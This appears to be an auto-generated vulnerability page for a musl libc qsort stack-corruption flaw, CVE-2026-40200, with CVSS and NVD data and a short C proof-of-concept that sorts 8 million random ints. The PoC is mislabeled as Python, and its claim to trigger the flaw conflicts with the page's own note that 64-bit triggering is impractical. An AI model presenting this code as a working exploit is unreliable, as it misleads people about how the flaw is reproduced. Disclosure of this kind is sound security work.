Security Vulnerability Report
中文
CVE-2026-40200 CVSS 8.1 HIGH

CVE-2026-40200

Published: 2026-04-10 17:17:14
Last Modified: 2026-04-27 19:18:47

Description

An issue was discovered in musl libc 0.7.10 through 1.2.6. Stack-based memory corruption can occur during qsort of very large arrays, due to incorrectly implemented double-word primitives. The number of elements must exceed about seven million, i.e., the 32nd Leonardo number on 32-bit platforms (or the 64th Leonardo number on 64-bit platforms, which is not practical).

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

musl libc 0.7.10 - 1.2.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#include <stdlib.h> #include <stdio.h> // Comparison function for qsort int compare(const void *a, const void *b) { return (*(int *)a - *(int *)b); } int main() { // Trigger condition: > 7 million elements size_t count = 8000000; int *array = malloc(count * sizeof(int)); if (!array) { return 1; } // Fill array for (size_t i = 0; i < count; i++) { array[i] = rand(); } // Trigger vulnerable qsort qsort(array, count, sizeof(int), compare); free(array); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-40200", "sourceIdentifier": "[email protected]", "published": "2026-04-10T17:17:14.107", "lastModified": "2026-04-27T19:18:46.690", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in musl libc 0.7.10 through 1.2.6. Stack-based memory corruption can occur during qsort of very large arrays, due to incorrectly implemented double-word primitives. The number of elements must exceed about seven million, i.e., the 32nd Leonardo number on 32-bit platforms (or the 64th Leonardo number on 64-bit platforms, which is not practical)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.4, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-670"}]}], "references": [{"url": "https://musl.libc.org/releases.html", "source": "[email protected]"}, {"url": "https://www.openwall.com/lists/oss-security/2026/04/10/13", "source": "[email protected]"}, {"url": "http://www.openwall.com/lists/oss-security/2026/04/10/13", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}